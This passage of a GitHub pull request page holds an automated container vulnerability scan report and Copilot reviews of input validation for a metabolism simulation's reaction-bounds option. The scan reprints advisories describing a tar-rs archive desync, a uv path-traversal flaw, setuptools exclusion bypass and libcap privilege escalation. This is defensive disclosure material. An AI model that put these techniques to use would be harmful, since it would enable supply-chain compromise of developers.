and an on-disk file secret_café.txt written in NFD, python -m build --sdist packs the secret file into the resulting .tar.gz, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.

Remediation

Normalize both the walked path and each MANIFEST.in pattern to a single canonical form before matching, in both setuptools/command/egg_info.py (FileList) and the vendored setuptools/_distutils/filelist.py. For an exclusion list, err toward excluding more, and document that MANIFEST.in matching is normalization-insensitive on macOS.

Credit

Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.

critical: 0 high: 0 medium: 1 low: 0 tar 0.4.45 (cargo)

pkg:cargo/tar@0.4.45

medium : GHSA--3pv8--6f4r--ffg2 Improper Input Validation

Affected range<=0.4.45
Fixed version0.4.46
Description

Summary

When a tar stream contains multiple "header" entries prior to a file entry, tar-rs applies the PAX header (x) to the next entry in the stream, regardless of type. For example, a stream of x -> L -> file (PAX, GNU longname, file) would result in x's extensions being applied to L rather than to file.

Per POSIX pax, this is incorrect: a PAX header always applies to a file entry, not any intermediary entries. See the "pax Header Block" section for the specific prescription there.

As a result of this, an attacker can contrive a tar containing a sequence of tar headers such that tar-rs applies the PAX header's size extension to the next header in sequence, effectively desynchronizing the stream and enabling tar-rs specific skippage/extraction of members. In other words, a file can be contrived to extract differently on tar-rs than on other tar parsers.

PoC

This tar (zipped for size) demonstrates the desynchronization: with tar tvf:

% tar tvf tests/archives/pax-overrides-extension-header.tar 
----------  0 0      0        2048 Dec 31  1969 longname.txt
----------  0 0      0           0 Dec 31  1969 file_b

with tar-rs:

---- pax_size_does_not_apply_to_extension_headers stdout ----

thread 'pax_size_does_not_apply_to_extension_headers' (250476889) panicked at tests/all.rs:2121:27:
called `Result::unwrap()` on an `Err` value: Custom { kind: Other, error: "numeric field was not a number: AAAAAAAA when getting cksum for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" }
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

In the above case, the PoC is not weaponized, so it jumps into the middle of an entry and subsequently fails the checksum test rather than silently continuing with attacker-controlled archive state.

Impact

This is very similar to GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537 in impact -- an attacker can use this to extract (or not extract) files from a tar stream depending on the tar parser used, which in turn can be used to obscure the presence of malicious files.

critical: 0 high: 0 medium: 1 low: 0 uv 0.11.14 (cargo)

pkg:cargo/uv@0.11.14

medium : GHSA--4gg8--gxpx--9rph Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<0.11.15
Fixed version0.11.15
Description

Impact

In versions of uv prior to 0.11.15, when installing a distribution containing an entry point specification (under console_scripts or gui_scripts), uv would place the generated entry point according to the given name even if doing so resulted in a path outside of the environment's scripts directory.

A malicious wheel could use this to place an executable outside of the intended environment, including in a directory already present on the user's PATH. This could shadow or overwrite an existing executable and potentially result in unexpected code execution under the wheel's control, even if the wheel's installation environment was not explicitly added to PATH by the user.

In order to exploit this vulnerability, the attacker must induce their target into installing a malicious wheel.

Patches

uv 0.11.15 and newer address this vulnerability. Users are encouraged to upgrade to 0.11.15.

Workarounds

There is no workaround other than upgrading to uv 0.11.15.

critical: 0 high: 0 medium: 1 low: 0 libssh2 1.11.1-1 (deb)

pkg:deb/debian/libssh2@1.11.1-1?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--7598

Affected range<1.11.1-1+deb13u1
Fixed version1.11.1-1+deb13u1
EPSS Score0.466%
EPSS Percentile38th percentile
Description

A security vulnerability has been detected in libssh2 up to 1.11.1. The impacted element is the function userauth_password of the file src/userauth.c. Such manipulation of the argument username_len/password_len leads to integer overflow. The attack may be launched remotely. The name of the patch is 256d04b60d80bf1190e96b0ad1e91b2174d744b1. A patch should be applied to remediate this issue.


critical: 0 high: 0 medium: 1 low: 0 libcap2 1:2.75-10+b8 (deb)

pkg:deb/debian/libcap2@1%3A2.75-10%2Bb8?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--4878

Affected range<1:2.75-10+deb13u1
Fixed version1:2.75-10+deb13u1
EPSS Score0.188%
EPSS Percentile9th percentile
Description

A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the cap_set_file() function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.


@github-actions

Copy link
Copy Markdown
Contributor

Recommended fixes for image vecoli:latest

Base image is debian:13-slim

Name13.4-slim
Digestsha256:486b1c3d3a6a836d2518d5ac1a7b522050a034ae83b47c063fd45d550b2b9dbf
Vulnerabilitiescritical: 1 high: 7 medium: 8 low: 15 unspecified: 4
Pushed2 months ago
Size30 MB
Packages111
OS13.4
The base image is also available under the supported tag(s): trixie-slim

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.
TagDetailsPushedVulnerabilities
13-slim
Newer image for same tag
Also known as:
  • 13.6-slim
  • trixie-slim
  • trixie-20260713-slim
Benefits:
  • Same OS detected
  • Newer image for same tag
  • Minor OS version update
  • Tag was pushed more recently
  • Image has similar size
  • Image introduces no new vulnerability but removes 25
  • Image contains equal number of packages
  • Tag is using slim variant
Image details:
  • Size: 30 MB
  • OS: 13.6
1 week ago



Change base image

TagDetailsPushedVulnerabilities
stable-slim
Tag is preferred tag
Also known as:
  • stable-20260713-slim
Benefits:
  • Same OS detected
  • Tag is preferred tag
  • Tag was pushed more recently
  • Image has similar size
  • Image contains equal number of packages
  • Tag is using slim variant
  • stable-slim was pulled 46K times last month
Image details:
  • Size: 30 MB
  • Flavor: debian
  • OS: 12
  • Slim: ✅
1 week ago



13
Tag is latest
Also known as:
  • 13.6
  • trixie
  • latest
  • trixie-20260713
Benefits:
  • Same OS detected
  • Minor OS version update
  • Tag was pushed more recently
  • Tag is latest
  • Image contains equal number of packages
Image details:
  • Size: 49 MB
  • OS: 13.6
1 week ago



@Robotato Robotato left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed with the Copilot comments, otherwise LGTM!

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
Copilot AI review requested due to automatic review settings July 22, 2026 21:50
@heenasaqib heenasaqib removed the long ci PR nearly ready to merge so run longer CI tests label Jul 22, 2026

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 1 out of 1 changed files in this pull request and generated no new comments.

Comments suppressed due to low confidence (2)

ecoli/processes/metabolism.py:98

  • The inline config doc for set_reaction_bounds is ambiguous about what reaction IDs and bound values are valid. In this codebase, FluxBalanceAnalysis.setReactionFluxBounds rejects negative bounds, and reversible reactions are represented as separate forward/reverse reaction IDs, so callers need that guidance to avoid confusing runtime errors.
        "set_reaction_bounds": {},  # In form: {RXN_ID:[lb,ub]}

ecoli/processes/metabolism.py:538

  • set_reaction_bounds is used as a mapping without validating its type; if a user sets it to null/None or another non-mapping value, this will raise an unhelpful AttributeError at .items(). Also, FluxBalanceAnalysis.setReactionFluxBounds rejects negative bounds; validating here lets you raise a clearer error that includes the reaction ID and the provided bounds.
        # Set reaction limits from config options
        config_reaction_bounds = self.parameters.get("set_reaction_bounds", {})
        for rxn, bounds in config_reaction_bounds.items():

Copilot AI review requested due to automatic review settings July 22, 2026 22:12

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 1 out of 1 changed files in this pull request and generated 2 comments.

Comments suppressed due to low confidence (1)

ecoli/processes/metabolism.py:98

  • The config comment for set_reaction_bounds doesn’t specify the expected units/constraints. In this FBA implementation, flux bounds are non-negative (forward/reverse handled separately) and are in the same units passed to setReactionFluxBounds (CONC_UNITS). Clarifying this here will help prevent misconfigured bounds.
        "set_reaction_bounds": {},  # In form: {FBA_RXN_ID:[lb,ub]} (reaction must match FBA basis)

Comment on lines +1178 to +1197
sim = EcoliSim.from_file()
sim.max_duration = 2
sim.build_ecoli()

metabolism = sim.ecoli.processes["agents"]["0"]["ecoli-metabolism"]

# test invalid configuration: reaction not in FBA reaction IDs
metabolism.parameters["set_reaction_bounds"] = {"NOT-A-REAL-RXN": [0, 1]}
with pytest.raises(ValueError, match="not found in FBA reaction IDs"):
sim.run()

# test valid configuration
rxn_id = metabolism.fba_reaction_ids[0]
metabolism.parameters["set_reaction_bounds"] = {rxn_id: [0.0, 0.0]}
sim.run()
data = sim.query()
reaction_fluxes = data["agents"]["0"]["listeners"]["fba_results"]["reaction_fluxes"]
rxn_idx = metabolism.fba_reaction_ids.index(rxn_id)
for fluxes_at_t in reaction_fluxes:
assert fluxes_at_t[rxn_idx] == pytest.approx(0.0, abs=1e-6)
Comment on lines +536 to +555
# Set reaction limits from config options
config_reaction_bounds = self.parameters.get("set_reaction_bounds", {})
for rxn, bounds in config_reaction_bounds.items():
if rxn not in self.fba_reaction_ids:
raise ValueError(
f"set_reaction_bounds: reaction '{rxn}' not found in FBA reaction IDs"
)
try:
lower_bound, upper_bound = bounds
except (TypeError, ValueError) as e:
raise ValueError(
f"set_reaction_bounds for '{rxn}' must be a 2-item sequence [lower, upper], got: {bounds!r}"
) from e
if lower_bound > upper_bound:
raise ValueError(
f"set_reaction_bounds for '{rxn}' has lower_bound > upper_bound ({lower_bound} > {upper_bound})"
)
self.model.fba.setReactionFluxBounds(
rxn, lowerBounds=lower_bound, upperBounds=upper_bound
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants